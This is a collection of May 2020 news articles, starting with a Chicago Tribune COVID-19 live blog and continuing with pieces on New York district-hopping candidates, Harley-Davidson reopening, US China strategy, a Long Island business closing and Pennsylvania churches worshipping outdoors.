The breach in the system built for Pandemic Unemployment Assistance payments was revealed last week, when a claimant reported that she had stumbled upon personal information for thousands of applicants on the states website, including names, addresses and Social Security numbers. The claimant told her state representative, Terri Bryant, a Murphysboro Republican, who reported it to the Illinois Department of Employment Security.

After working with Deloitte Consulting to investigate a glitch in the system, the state will send notices to people whose information may have been unintentionally viewed" by a single individual. The state had hired Deloitte to help it deal with the large number of unemployment insurance claims  more than a million since the March stay-at-home order closed nonessential businesses and sent people home.

The department said that computer records confirm that no one else viewed the personal information and there is no sign that any personal information was, or will be, improperly used.

Out of an abundance of caution, the Department will notify 32,483 claimants whose information could have been possibly viewed to ensure full transparency, the department said.

Claimants who get the notice will have the option to enroll in 12 months of free credit monitoring, a service offered by Deloitte, the state said. Read more here. Mary Wisniewski

3:44 p.m.: Another Illinois prisoner has died from a COVID-19-related illness

Another Illinois prisoner has died from a COVID-19-related illness, marking the 13th inmate death statewide and the first fatality outside Stateville Correctional Center, officials confirmed Friday.

An elderly prisoner at Pontiac Correctional Center in downstate Livingston County died late Wednesday at an area hospital. The name of the man, in his 70s, was not immediately available Friday.

All but one of the 13 deaths were inmates at Stateville, near Joliet, the source of the main outbreak.

The Illinois Department of Corrections has confirmed nonfatal virus cases in about 20 of its nearly four dozen facilities statewide since the pandemic began.

The problem at Stateville is particularly grim. The vast majority of the 167 staff and 212 inmates who have been infected statewide in Illinois prisons are located there.

All state prisons are under quarantine. But prison reform advocates have file lawsuits arguing the state has been too slow to respond, putting inmates and staff at further risk.

At Pontiac, seven staff members and two inmates, including the man who died Wednesday, have tested positive. Aside from him, another inmate in his 20s also is infected but his symptoms have not required hospitalization, officials said Friday. Christy Gutowski

3:32 p.m.: Senate approves expanded voting-by-mail bill for Nov. 3 election, which now heads to the governor

The Illinois Senate voted along party lines Friday to approve a measure aimed at expanding voting by mail in November amid ongoing concerns about the coronavirus pandemic.

The measure, which was approved by the House on Thursday, would create an enhanced vote-by-mail plan for the Nov. 3 general election. The Senate approved the bill on a 37-19 vote, with all Republican members in opposition.

It is now headed to Gov. J.B. Pritzker, who has said hell sign it.

The legislation would have vote-by-mail applications sent to everyone who voted in either the 2018 general election, the 2019 municipal election or this years March 17 primary, as well as to voters newly registered since the primary or who changed their addresses.

It would also make the day of the election, Nov. 3, a government and school holiday so schools can be used as polling places without risks to students and teachers. Read more here. Jamie Munks and Dan Petrella

3:30 p.m.: Northwestern chemists working on antiviral treatment for face masks

Chemists at Northwestern University say they are working on a way to make any mask  no matter how simple the fabric  an effective virus-killing shield against the spread of the new coronavirus.

A fabric-treatment technology the university first developed with the Department of Defense to protect soldiers from deadly nerve agents  such as VX and sarin gases  may be useful in catching and killing viral cells when they contact a mask, said Omar Farha, a chemistry professor affiliated with Northwesterns International Institute for Nanotechnology.

The university received a $200,000 rapid response research grant from the National Science Foundation to further develop and test the technology to combat the spread of COVID-19.

Chemists have used metal-organic frameworks to create programmable sponges that can screen viral cells while letting air pass through so the wearer can still breathe normally. The composite material would include an active ingredient to kill the virus, Farha said.

The result could be a dip coating treatment that could be used to make any mask protective against coronavirus or any other virus that may emerge in the future, he said. Thats the whole idea, Farha said. We want to make a material that is not just COVID-sensitive and not just COVID-specific. David Heinzmann

3 p.m.: Pritzker responds to Trumps call for churches to be allowed to reopen

Gov. J.B. Pritzker on Friday did not seem inclined to follow President Donald Trumps call for churches to be allowed to reopen as essential businesses.

Were going to continue to operate on the basis of science and data, Pritzker said. Im as anxious as anybody to make sure that our churches or mosques or synagogues open back to where they were before COVID-19 came along. Were gradually moving in that direction, but theres no doubt, the most important thing is we do not want parishioners to get ill. Bill Ruthhart

2:54 p.m.: Pritzker says all child care facilities in Illinois will be allowed to reopen as soon next week

Gov. J.B. Pritzker announced Friday that all child care facilities in Illinois will be allowed to reopen as soon next week, when all regions of the state are expected to move into the next phase of reopening businesses.

To date, the state has been operating at roughly 15% of its child care capacity with 2,500 day care homes and 700 centers allowed open as emergency providers for essential workers.

When the state is expected to move into the next reopening phase next Friday, Pritzker said some 5,500 child care providers that are not currently operating will be asked to reopen.

Operators will be limited to no more than 10 children per classroom. Smaller home-based day care facilities will be allowed to operate at their standard capacities.

Once day care facilities are able to operate safely for four weeks and get acclimated to new requirements, they will be allowed to expand to larger group sizes but not their full capacities, Pritzker said. Those new larger groups would be roughly 30% of capacity for most facilities.

All of Illinois appears to be on track to move into phase three of Restore Illinois next Friday, allowing hundreds of thousands of Illinoisans to go back to work in the industries that are eligible to reopen in the weeks ahead. But we cant have a conversation about going back to work without talking about child care, Pritzker said. If we dont have childcare, a large portion of the work force, especially women who too often bear a disproportionate burden, will be without any way to move forward without caring for their child themselves. Bill Ruthhart

2:44 p.m.: Lightfoot says Lake Michigans The Playpen not opening this summer

Chicagos infamous Lake Michigan party spot The Playpen will not be opening this summer, Mayor Lori Lightfoot said.

At a news conference announcing the citys likely move into phase 3 of its reopening plan early next month, Lightfoot said the city lakefront will eventually reopen but wouldnt give a date. She also laid out specific industries that will be allowed to open next month, including outdoor dining at restaurants and barbershops.

But she cast doubt on a big party spot.

Sorry folks the playpen will not be open this summer, Lightfoot said. Gregory Pratt

2:32 p.m.: 2,758 new known COVID-19 infections and 110 additional deaths

State health officials announced on Friday 2,758 new known infections of COVID-19 in Illinois and 110 additional confirmed deaths. That brings the statewide total to 105,444 cases and the death toll to 4,715 since the beginning of the outbreak.

2:23 p.m.: Sam Toia of the Illinois Restaurant Association is a Chicago guy who gets Chicago things done. Is he pushing too hard on reopening?

Sam Toia, based on appearances alone, looks more Lex Luthor than Superman. The guy is bald, bald, bald, rarely the tallest one in the room, though also baldly persistent, and full of charisma, able to leap tall bureaucracies in a relatively short period of time. But not without stumbles, of course. Toia is president and CEO of the Illinois Restaurant Association, and this week, after weeks of arguing that Gov. J.B. Pritzker was mishandling restaurant reopening, dooming the states largest private-sector employer, Toia stood on a podium beside his old friend and glumly pointed to a glimmer of light.

Hes not the type to hide dissatisfaction, to maintain a plastered smile. To slow the coronavirus, the governor wants our restaurants to reopen slowly, to offer just outdoor seating at first; a day later, Chicago Mayor Lori Lightfoot paused even that baby step.

Toia wants to move faster.

Too fast, some say.

Those who know and have worked with him, describe Sam Toia  who likely first came to the attention of many Chicagoans during the governors daily update on Wednesday and a press conference with Lightfoot May 8  as the ball of energy, the consummate fixer, tirelessly tenacious, politically connected.

In other words, a classic Chicago character. Read more here. Chris Borrelli

2:16 p.m.: Lightfoot rejects President Trumps call to open churches

Chicago Mayor Lori Lightfoot on Friday rejected President Donald Trumps call for the reopening of churches across the country, saying hes pandering to a base while running for re-election.

Lightfoots comments came a day after Trump said he considered churches essential and the Centers for Disease Control and Prevention would be issuing guidance Friday for church openings.

I think we have to realize that virtually everything he says has a political undertone and basis for it, Lightfoot said. Look, we are working with our faith community, just like were working with businesses to set up very specific guidelines to help them to be able to reopen safely.

The mayor noted Trump has had to walk back various proclamations he has made during the coronavirus crisis.

He has said so many dangerous and foolish things. Add this to the list, Lightfoot added.

Lightfoot in recent days has toughened her stance against churches in Chicago that are flouting Gov. J.B. Pritzkers COVID-19 stay-at-home order, which prohibits in-person worshiping at this point. The city fined three Chicago houses of worship $500 each this week after they held services last weekend. Read more here. John Byrne

2:06 p.m.: Legislators OK bill that gives essential workers stricken with COVID-19 better access to workers compensation

In a bipartisan effort aimed at helping workers who become infected with COVID-19, the Illinois House on Friday overwhelmingly approved a measure that would increase access to workers compensation benefits.

The House voted 113-2 in favor of the legislation, which reflects a deal agreed to by organized labor and business groups. The bill workers considered essential under Gov. J.B. Pritzkers statewide stay-at-home order who contract the new coronavirus to qualify for workers compensation benefits with the assumption that the virus was contracted on the job.

Employers could contest the claims by showing evidence an employee contracted the virus somewhere other than the workplace or that the employer was following state and federal public health guidelines.

If youre doing the right thing, that presumption would be rebutted, Democratic Rep. Jay Hoffman said Friday of the presumption the virus was contracted on the job.

The Senate approved the bill Thursday, and it now goes to Pritzker. Read more here. Jamie Munks

1:41 p.m.: Lightfoot says decision on Lollapalooza music festival expected next week

The city of Chicago will be making an announcement about Lollapalooza next week, Mayor Lori Lightfoot said.

The mayor again was asked about the popular summer festival during a news conference on Friday and said a decision would be announced sometime next week.

Last month, Lightfoot said its too soon to talk about July and August events. But she has canceled Gospel Fest and Memorial Day events set for May and June. Lollapalooza is scheduled for July 30-Aug. 2.

The coronavirus pandemic has upended most plans for the foreseeable future, though officials are starting to ease up rules/ Read more here. Gregory Pratt

1:15 p.m.: President Trump calls on governors to reopen churches, declares them essential services

President Donald Trump on Friday said he has deemed churches and other houses of worship essential" and called on governors to allow them to reopen this weekend despite the threat of the coronavirus.

Today Im identifying houses of worship  churches, synagogues and mosques  as essential places that provide essential services," Trump said during a hastily arranged press conference Friday. He said if governors dont abide by his request, he will override" them, though its unclear what authority he has to do so. Read more here. Associated Press

1 p.m.: Chicago will cautiously reopen in early June, begin easing restrictions on some businesses and activities, Lightfoot says

The city of Chicago is on pace to begin cautiously reopening and ease restrictions on certain activities in early June, with outdoor dining at restaurants, barber shops, non-lakefront park buildings and libraries slated to resume limited business, Mayor Lori Lightfoot said Friday.

If safety measures can be put in place, Lightfoot also said the city could potentially reopen summer programs and allow private camps, religious services, gyms, museums and the lakefront later on in the summer.

Schools, playgrounds, bars, stadiums and music venues will remain closed for now, she said.

Though the city announced a general timeline, officials said they will be releasing more information next week about industry-specific rules and regulations for reopening.

Still, the news is likely to be a welcome relief for restive residents and business owners who want to return to some degree of normalcy, even with restrictions.

Under Lightfoots reopening timeline, childcare centers, park facilities outside of the lakefront, libraries, office-based jobs, professional and real estate services, hotels and outdoor attractions including some boating and non-lakefront golf courses will be allowed to open, the city said.

Non-essential retail stores, hair salons, barbershops and tattoo parlors also will be able to open.

Social gatherings will still be limited to fewer than 10 people, however, and the city still encourages residents to stay 6 feet apart and wear a face covering.

On Thursday, Lightfoot said restaurants wont be allowed to reopen as soon as next week but she expects it to have outdoor seating. Lightfoot also wants restaurants to have indoor dining options, which she acknowledged would need approval from the state.

No restaurant I know of is going to be able to survive dependent upon what the weather is going to be like on a particular day in Chicago, Lightfoot said. I think having the opportunity to do it and dine alfresco on a larger scale, which is what we certainly are talking about, is important, but they also need to be able to be inside as well, or economically I dont think the numbers work. Read more here. Gregory Pratt

11:37 a.m.: With Park District planting hampered by COVID-19, nonprofit supporting Garfield Park Conservatory sells surplus flowers in fundraiser

The Garfield Park Conservatory Alliance was selling flowers this week originally meant to be planted in Chicago parks that couldnt be used because of a lack of seasonal employees due to the coronavirus pandemic.

Five days before the online sale was supposed to end, most individual flowers were already sold out, according to the website for the alliance, a nonprofit that supports the conservatory.

Each year, Chicago Park District staff and contractors grow flowers over the winter to plant in gardens throughout the city, the park district said on the alliances website. In 2020, due to the COVID-19 pandemic, we are unable to hire the seasonal staff and contractors that would normally plant and care for these flowers in the summer.

The sale was scheduled to go through Wednesday, with scheduled in-person pickup of flowers from Thursday through May 31, according to the park district.Information about the sale is on the nonprofits website. Chicago Tribune staff

9:40 a.m.: Hydroxychloroquine linked to deaths, heart risks in COVID study

Antimalaria drugs that President Donald Trump has touted for treatment of COVID-19 were linked to an increased risk of death and heart ailments in a study.

Hydroxychloroquine and chloroquine didnt benefit patients with the coronavirus, either alone or in combination with an antibiotic, according to the study published Friday by The Lancet medical journal.

Researchers are searching through available options to treat the coronavirus, which has killed more than 330,000 people, including drugs like the antimalarials that are also already approved to treat lupus and rheumatoid arthritis. Trumps endorsement has led many people to take the medications without scientific proof of their benefit.

The study looked at the records of 15,000 people who had been treated with the antimalarials and one of two antibiotics that have sometimes been paired with them. Treatment with any combination of the four drugs was associated with a higher risk of death than seen in 81,000 patients who didnt receive them. Read more here. Bloomberg News

9:10 a.m.: How to make a living in Chicago sex work amid a pandemic? More hours, less pay and a good internet connection.

Like a lot of people in these months of quarantine, E.B. Cotenord is having a tough time making ends meet. COVID-19 has made it too risky to pursue her profession as she normally does, so shes working from home, putting in crazy hours and making a fraction of her former earnings.

Whats different about Cotenord is her job.

She is a full-service sex worker, otherwise known as an escort, whose services normally command $500 an hour. She stopped seeing clients shortly after Gov. J.B. Pritzker announced the first stay-at-home order in March, switching her business model almost overnight to subscription video and phone sex. Read more here. John Keilman

6:55 a.m.: Chicago officials to release updated information on reopening framework for city

Mayor Lori Lightfoot and city Health Commissioner Dr Allison Arwady were scheduled to release an update on Chicagos reopening framework Friday afternoon, according to the mayors office.

State officials have said that every region of Illinois carved out under Gov. J.B. Pritzkers stay-at-home order is on track to move to the next phase of reopening at the end of next week, Phase 3, under which nonessential retail businesses can reopen with capacity limits. But until Pritzker announced a softening of restrictions on restaurants that would allow them to reopen for outdoor dining, restaurants werent included in that phase of the plan.

And, with the state law allowing cities to restrict reopening further, Lightfoot said Thursday that Chicago restaurants wont be reopening as early as establishments in the rest of the state.

Details of the updated Chicago plan were expected to be released in a news conference Friday afternoon. Chicago Tribune staff

5 a.m.: Our residents are in crisis: In state-run homes for adults with disabilities, COVID-19 spread quickly

While much of the attention related to COVID-19s impact on vulnerable populations has focused on deaths at nursing homes, infection rates are remarkably high in another kind of residential setting: state-operated centers for adults with cognitive or behavioral disabilities.

As of Thursday, more than 1 in 5 people living in these developmental centers had tested positive for the novel coronavirus, state data shows. Thats more than double the infection rate seen in nursing homes and other long-term care facilities, where confirmed cases account for about 7% of residents, according to the Illinois Department of Public Health.

Of about 1,650 people who live in the seven developmental centers, which are scattered throughout the state, at least 355 have tested positive, or 21.5%. Eight residents have died, as have four workers. Read the full story, a collaboration between the Chicago Tribune and ProPublica Illinois, here. Jennifer Smith Richards and Jodi S. Cohen

5 a.m.: Salons, gyms desperate to reopen navigate complexities of Pritzkers Illinois stay-at-home order

Depending on whom you ask, salons that offer hair extensions can open in Illinois despite Gov. J.B. Pritzkers stay-at-home order. Those that dont, cant. Similarly, gyms in hotels can open, while independent ones arent supposed to yet, although at least five already have.

Tom DeVore, a downstate lawyer who has filed several lawsuits against the governor over the stay-at-home order, advised the owner of a Springfield hair salon to reopen despite what he calls intimidation tactics by the state. Although the executive order provides broad strokes about whats essential, what businesses may open often is determined by the Department of Commerce and Economic Opportunity.

A spokeswoman for Pritzker said hair salons should not reopen until phase three of the reopening plan, which all of Illinois is on track to meet in just over a week, but a department spokeswoman clarified that hair restoration and extension providers may open. Read more here. Katherine Rosenberg-Douglas

May 21

Here are five things that happened Thursday that you need to know:

May 20

Here are five things that happened Wednesday that you need to know:

May 19

Here are five things that happened Tuesday that you need to know:

May 18
Moving to a new area to run for office is a long tradition in American politics, dating at least as far back as the Reconstruction era, when the term carpetbagger was coined. The practice certainly hasnt faded away in New York. For example, over the course of several recent election cycles, political activist Sean Eldridge, Fordham Law professor Zephyr Teachout and attorney Antonio Delgado all moved to the same Hudson Valley district to run for Congress  and only Delgado succeeded. The 2020 elections have a crop of carpetbaggers too.

Michelle Caruso-Cabrera

This challenger to Rep. Alexandria Ocasio-Cortez likes to tell people that AOC grew up in Westchester County, not the Bronx. But until late 2019 Michelle Caruso-Cabrera had never lived in Queens or the Bronx, the two counties in the district. Originally from New Hampshire, Caruso-Cabrera lived in Manhattan for 20 years before transplanting to Sunnyside, Queens, shortly before announcing her candidacy. Shes also seeking to run as a Democrat despite being a former Republican.

Evelyn Farkas

Carpetbagger is perhaps too strong a word to describe Evelyn Farkas. While she only recently moved into the district she hopes to represent in Congress, it was a move back to the area where she grew up. Farkas was born and raised in Chappaqua, a Westchester County suburb represented by the retiring Rep. Nita Lowey, whom Farkas wants to replace. But Farkas hasnt lived there for years and returned home only in 2019, not long before announcing her congressional ambitions. A campaign spokesperson added, however, that while Farkas primary residence had been in Washington, D.C., she often spent time in Westchester to visit her family.

Adam Schleifer

Like his opponent Farkas, Adam Schleifer is a Chappaqua native  his dad is the founder of a Westchester-based biotech company. Schleifer most recently lived in California for several years before returning home late in 2019. Last year, he helped prosecute actress Felicity Huffman in a college admissions scandal that also involved Lori Loughlin. But hes back in Westchester now, looking to succeed Lowey in representing the district he grew up in.

Paperboy Love Prince

The rapper and subway performer turned congressional candidate Paperboy Prince, who uses they/them pronouns, says their family has long lived in Brooklyn and told City & State, my spirit, my energy, my legacy has always been in Brooklyn. However, the long-shot contender grew up near Washington, D.C., and only moved to New York 2014. And when Prince first announced their candidacy, their listed address was in Bedford-Stuyvesant, which is near, but not in, the 7th Congressional District. Prince told City & State that the address was only used to receive mail. Another address listed more recently with the New York City Board of Elections puts Prince in Bushwick, which is in the district.

Jenifer Rajkumar

Jenifer Rajkumar first ran for office in 2016, attempting to win the empty Manhattan Assembly seat vacated by ex-Assembly Speaker Sheldon Silver thanks to a corruption scandal. She lost the Democratic primary to Yuh-Line Niou, who went on to win the seat. Four years later, Rajkumar now lives in Woodhaven, Queens, and is running against Assemblyman Michael Miller. Her campaign website notes that her immigrant parents settled in Queens when they came to the U.S.

Ritchie Torres

This is another borderline case, but when Ritchie Torres filed to run for Congress last year to replace the retiring Rep. Jose E. Serrano in the Bronx, the address he provided was just outside the district. However, Torres has represented a portion of the 15th Congressional District as a city councilman and has lived in the Bronx his entire life. He also told City & State that he moved to a new home within the district last year, and the new address he provided matches the address he provided the New York City Board of Elections.

Update: This story has been updated to include Adam Schleifer. It has also been updated with comments from Evelyn Farkas campaign.
Harley-Davidson is resuming production at its domestic manufacturing plants after suspending operation for about two months because of the coronavirus outbreak.

The iconic Milwaukee-based motorcycle company shut down production in March after an employee at its factory in Menomonee Falls, Wisconsin, tested positive for the coronavirus.

Harley-Davidson also saw motorcycle sales drop in the economic fallout from the global pandemic, which has killed more than 95,000 Americans as of Friday.

The Milwaukee Journal Sentinel reports the Wisconsin factory where the worker tested positive for the coronavirus is expected to return to full staffing after Memorial Day weekend. The engine and drivetrain facility employs about 1,000 people.

Revving up: Harley-Davidson is resuming production at its domestic manufacturing plants after suspending operation for about two months because of the coronavirus outbreak (stock image of Harley bikes)

The Menomonee Falls factory plans to bring all hourly employees back after the Memorial Day weekend for full production, Ross Winklbauer, a Steelworkers subdistrict director, said Thursday. Currently, about 125 US Steelworkers union members are back at the plant.

The company has staggered work start times and installed barriers between work stations to promote social distancing and protect employees from infection.

'It's going to be a new normal for them,' Winklbauer said.

Harley-Davidson said in a statement it has begun a planned phased approach to resuming production in its facilities, 'following the guidelines of public health and regulatory authorities and keeping employee health and safety front and center.'

'At all of its facilities, Harley-Davidson has implemented enhanced safety measures, protocols to support social distancing and is bolstering its already-rigorous cleaning and sanitation practices,' the company said.

Meanwhile, the Wall Street Journal reported on Wednesday that the motorcycle maker will be lowering its production rate and sending dealers a narrower range of bikes.

Harley-Davidson may not ship any additional new motorcycles this year to about 70% of its 698 dealers in the country, the report said.

The move comes just weeks after the company appointed board member and turnaround specialist Jochen Zeitz to the role of CEO.

Zeitz, who was hailed for turning around German footwear brand Puma's near-bankrupt business, is known to have led a push for sustainability at Harley and was a force behind Harley's LiveWire, the company's first electric bike.

The company said Zeitz, who joined the Harley board in 2007, will continue to serve as the board chairman.

Harley has failed for years to increase sales in the United States, its top market, which accounts for more than half of its motorcycles sold. As its tattooed, baby-boomer consumer base ages, the Milwaukee-based company is finding it challenging to attract new customers.

To make matters worse, the pandemic has further dented demand as Americans stay at home to curb the spread of COVID-19.

The company shut down production in March after an employee at its factory in Menomonee Falls, Wisconsin (pictured), tested positive for the coronavirus.

In April, Harley slashed its dividend and halted share buybacks to boost its cash reserves to weather the impact from the health crisis.

Zeitz was asked to take over after CEO Matthew Levatich stepped down in February following Harley's worst sales performance in at least 16 years.

In his first call with investors as acting CEO in early May, Zeitz lined up plans to cut costs and "de-emphasize" some of its unprofitable international regions.

The shift in strategy for the company that symbolized the counterculture movement of the 1960s comes as it struggles to woo the next generation of younger riders with its electric and more nimbler bikes in the United States.
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Linkedin Ghina Ghaliya (The Jakarta Post) Jakarta  Fri, May 22 2020

Nurses at general hospitals and COVID-19 referral hospitals are carrying a heavy burden, as they are not only fighting on the frontline against the disease, but are also struggling with personal financial difficulties caused by

the pandemic.

Amid the COVID-19 outbreak, most hospitals are reportedly suffering financially due to a decrease in the number of patients, while their operational costs remain high.

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Dravidian leader and former deputy



speaker of Tamil Nadu Assembly V P Duraisamy, who was stripped off his deputy general secretary's post from the DMK on Thursday, joined the BJP on Friday.

He joined the saffron party in the presence of state BJP president L Murugan and senior leader L Ganesan at Kamalalayam, the BJP state headquarters.

Indicating that India was in "safe hands" with the BJP, he said "you can protect the country if you accept the BJP's ideology."



On Thursday, DMK President M K Stalin removed Duraisamy as the party's deputy general secretary, days after the latter met Murugan on a "courtesy call."On Friday, Duraisamy said he chose to tread a different path.

"When those in the DMK deviate from the core ideology from which the movement emerged, what's wrong if I quit (the DMK). My path is different," he told reporters and added that he continued to be a politician and not an opportunist.

He wholeheartedly accepted the BJP's policies. He said he had joined the DMK following a request from the then president and former chief minister, the late M Karunanidhi.

Prior to Duraisamy, in December 2014, former Union minister D Napoleon joined the BJP in the presence of party president Amit Shah in Chennai, after quitting the DMK.

Actor Radharavi, suspended from DMK last year for his comments against a leading south Indian female actor, had also later joined the BJP, before a brief stint in the AIADMK.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
U.S. Signals Change in China Strategy to 'Defensive' And 'Competitive' Approach

2020-05-21 -- The White House on Thursday signaled an end to the U.S.' two-decades-old policy of engagement with China, vowing in a new strategy report to combat Beijing's attempts to impose a "new world order" based on its model of authoritarian government.

Deepening engagement had done little to encourage fundamental economic and political change in China, the 20-page report said.

"The Chinese Communist Party has chosen instead to exploit the free and open rules-based order and attempt to reshape the international system in its favor," the report said.

It said Beijing's expanding economic, political, and military power was being used to "compel acquiescence" from other countries, and harming U.S. interests in the process.

Rather than focusing on China's domestic situation, the U.S. will instead adopt a "competitive approach" to the country to resist growing Chinese influence and "compel Beijing to cease or reduce actions harmful to the United States' vital national interests," the report said.

Cooperation with China would be welcome where interests and values were shared, it said.

It said the decision by General Secretary Xi Jinping to remove presidential term limits was emblematic of the direction he is taking China in.

United Front tactics

The report said Beijing "uses a range of actors to advance its interests in the United States and other open democracies," under the aegis of the ruling party's United Front.

"United Front organizations and agents target businesses, universities, think tanks, scholars, journalists, and local, state, and Federal officials in the United States and around the world, attempting to influence discourse and restrict external influence inside [China]," it said.

China's "malign behaviors" include the misappropriation of technology and intellectual property, failure to appropriately disclose relationships with foreign government sponsored entities, breaches of contract and confidentiality, and manipulation of processes for fair and merit-based allocation of Federal research and development funding, the report said.

Chinese nationals on U.S. soil are often compelled to report on and threaten fellow Chinese students, protest against events that run counter to Beijing's political narrative, and otherwise restrict the academic freedom that is the hallmark and strength of the American education system, it said.

"The United States will continue to take a principled stand against the use of our technology to support China's military and its technology-enabled authoritarianism," the report said.

Former Tsinghua University politics lecturer Wu Qiang said that far from being a weapon for President Donald Trump's re-election campaign,the report marks a turning point in China-U.S. ties.

"This is a re-evaluation of the China relationship, particularly in the wake of the coronavirus epidemic," Wu said. "It will affect policy and have an impact for a long time to come, regardless of which party or candidate wins the presidential election."

'Hegemonic assertions and excessive claims'

The report also focused on Chinese behavior toward its neighbors, including in the South China Sea, where China has undertaken massive land reclamation works on disputed features in the Paracels and Spratly Islands to establish military bases and advance its sweeping sovereignty claims.

"Beijing contradicts its rhetoric and flouts its commitments to its neighbors by engaging in provocative and coercive military and paramilitary activities in the Yellow Sea, the East and South China Seas, the Taiwan Strait, and Sino-Indian border areas," it said.

"As part of our worldwide freedom of navigation operations program, the United States is pushing back on Beijing's hegemonic assertions and excessive claims. The United States military will continue to exercise the right to navigate and operate wherever international law allows, including in the South China Sea.

Wu said the U.S. is opting to push back against China's bid for global influence.

"It's kind of a blueprint for a new Cold War, but in a globalized economy," he said. "It is a counterattack against Chinese expansion, and against globalization with Chinese characteristics."

Wu said the report will also influence which countries the U.S. develops alliances with in future.

Hong Kong current affairs commentator Sang Pu said the report comes at a time when the U.S. is reviewing, under the Hong Kong Human Rights and Democracy Act, whether to continue to treat Hong Kong as a separate jurisdiction from China, given Beijing's growing insistence on wielding direct political power in the city.

"Hong Kong really is the at the front line of the U.S.-China relationship," Sang said. "That has been made very clear throughout the anti-extradition movement since June 9, 2019."

Sang said the fact that Secretary of State Mike Pompeo had recently issued a direct congratulatory message to Taiwan president Tsai Ing-wen on her re-election, in spite of Washington's ongoing support for the "One China" policy under which Beijing refuses to see the democratic island as a separate country, suggested the White House report also had his backing.

"The report also makes it clear that the United States must ensure that Taiwan has sufficient defense capabilities," Sang said. "[This means that] the U.S. will continue to support Taiwan, even if it moves further and further away from China, so this could be a major step forward for Taiwan as well."

Reported by Qiao Long and Man Hai-tsan for RFA's Mandarin and Cantonese Services. Translated and edited by Luisetta Mudie.

Copyright  1998-2020, RFA. Used with the permission of Radio Free Asia, 2025 M St. NW, Suite 300, Washington DC 20036. For any commercial use of RFA content please send an email to: mahajanr@rfa.org. RFA content May not be used in a manner which would give the appearance of any endorsement of any product or support of any issue or political position. Please read the full text of our Terms of Use.

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FARMINGDALE, NY  Facing an uncertain future in the age of coronavirus, a Farmingdale business where children jumped on bounce stadiums and stuffed themselves with birthday cake and pizza, is closing its doors for good.

In a note to customers posted on its website, BounceU on Carolyn Boulevard told customers it has thrown its last party.

"Due to the Coronavirus, our owners have made the very difficult decision to permanently close our location," the company wrote. "We have been trying our best to plan to open in the future but it does not seem possible."

The business said it did not want to take any chances for customers or workers to open again in the future.

"We want to thank all of you for being loyal customers over the years. Our team at BounceU of Farmingdale hope that you and your families are staying safe and healthy during this time," the announcement said.

A voicemail message left with BounceU wasn't immediately returned.

Public records showed BounceU has been in business since at least September 2011.

Members of the community were quick to react to BounceU's closure.

One person wrote in a Facebook post: "So terrible! So many local business will close permanently because of this lock down."

Another wrote: "First kzam now BounceU. Who is it going to be next. This is really sad."

Still others place the blame squarely at the feet of Gov. Andrew Cuomo, who ordered all nonessential businesses closed statewide in mid-March. The move led to massive layoffs and a spike in unemployment claims. New York's unemployment rate rose to 14.5 percent last month, approaching levels not seen since the Great Depression. By comparison, that number was 4 percent in April 2019.

Cuomo on Thursday warned a "staggering" number of small businesses will close due to the pandemic.

Graphic courtesy of the New York Department of Labor.





While some regions of New York have been allowed to reopen, Long Island remains on lock down.

Farmingdale has 146 confirmed cases of the COVID-19 disease, according to Nassau County's interactive map tracker. However, several nearby communities have far more, including Levittown and Hicksville, which have 979 and 963 confirmed cases, respectively.

Story continues

Overall, New York leads the nation in cases with about 356,000. Over 28,000 New Yorkers have died of the COVID-19 disease.





This article originally appeared on the Farmingdale Patch
The Rev. Anna Reeves considers herself fortunate that her church, St. Pauls Evangelical Lutheran Church in Silver Spring Twp., sits on sprawling property.

Its just a wonderful place for outdoor activity, she said.

On Sunday, Reeves is going to take advantage of that ample outdoor space and use it to gather with her congregation in worship while adhering to strict social distancing protocol to protect her faith community from the coronavirus.

I dont think its safe yet to go into the sanctuary. Its really not, she said. Our plan is to abide clearly by the states guidelines of having no more than 25 people gathering with clearly lots of social distancing and the wearing of face masks. We are asking everyone to bring their own lawn chairs so we have minimal sanitizing to do. That way we can actually space people apart quite a good way and literally minimize contact. There's not going to be any common touching.

St. Pauls Evangelical Lutheran Church is one of hundreds of churches in York and Cumberland counties. On Friday, both counties partially reopened for business after being designated for the states color-coded reopening plan.

Reeves is playing it safe by opting to hold multiple worship services outdoors.

If the weather does not cooperate on Sunday, Reeves said shell continue live-streaming the worship service as she has been doing since the state went on virtual lockdown in mid-March.

If the infection rate keeps reducing over the summer, we might, and that's just a maybe, we might proceed with services outside and maybe one inside, Reeves said. That would be further down. Like the governor we have three phases: outdoor, outdoor plus indoor and then indoor. The indoor phase we don't even want to think about it, at this point. I dont think its safe for anybody to go back into the sanctuary.

Under Gov. Tom Wolfs stay-at-home guidance, religious organizations have been largely exempt from shutdown orders, however, religious leaders have been encouraged to find alternatives to in-person gatherings to safeguard the health of their congregants. Health officials have advised that individuals refrain from not gather in religious buildings or homes for services or celebrations until the stay at home order is lifted.

Under the states guidelines for reopening, large gatherings are still not permitted. Gatherings are limited to 25 people.

Even so, some faith leaders are abiding by strict guidelines to protect their congregation. Many say that even though their county is reopened under the yellow phase, they do not feel comfortable bringing their communities together.

When Jesus talked about the two great commandments, they were love of God and love of thy neighbor, and the more we learn about COVID-19, the more it seems the loving thing to do to not have have a situation where you are inside in a confined space communal singing and communal talking, said Rev. Alex Martini, of St. Peter Lutheran Church in Mechanicsburg. That's what church is about in a lot of ways. To limit those risky behaviors for the sake of our vulnerable neighbors and community makes sense to us.

President Donald Trump, by contrast, is calling for churches to reopen.

The president on Friday said he has deemed churches and other houses of worship essential and called on governors to allow them to reopen this weekend.

Trump said that if governors don't abide by his request, he will "override" them, though it's unclear what authority he has to do so.

Martini has been live streaming worship services, and said he would continue to do so until at least June 5. On Friday, Wolf said all of Pennsylvania will be lifted from the states stay-at-home order by June 5, and 18 counties will move to the green phase May 29.

The general idea is that we are going to follow the letter and spirit of the yellow phase, Martini said. Anything we can do online via zoom we are going to do and continue to limit the use of the building.

Martini estimates that services will continue to be held online through the summer.

My bet is we are not going to be having any sort of in building worship until the fall, he said.

Indeed, church communities across the country have been rocked by coronavirus-related deaths and illness after congregations bucked lockdown orders and gathered with parishioners to lethal results.

A church choir practice in Washington, for example, attended by 61 people on March 10, resulted in 53 COVID-19 cases and 2 deaths. One of the members of the Skagit Valley Chorale practice had cold-like symptoms.

Just this week, churches in Georgia and Texas - two states at the forefront of reopening efforts - closed their doors after reopening after members tested positive for coronavirus. Catoosa Baptist Tabernacle in Ringgold, Ga., and Holy Ghost Catholic Church in Houston have indefinitely suspended services.

The Centers for Disease Control and Prevention this week called on faith-based organizations to coordinate with local health officials to implement reopening guidelines.

Martini takes those hard lessons seriously.

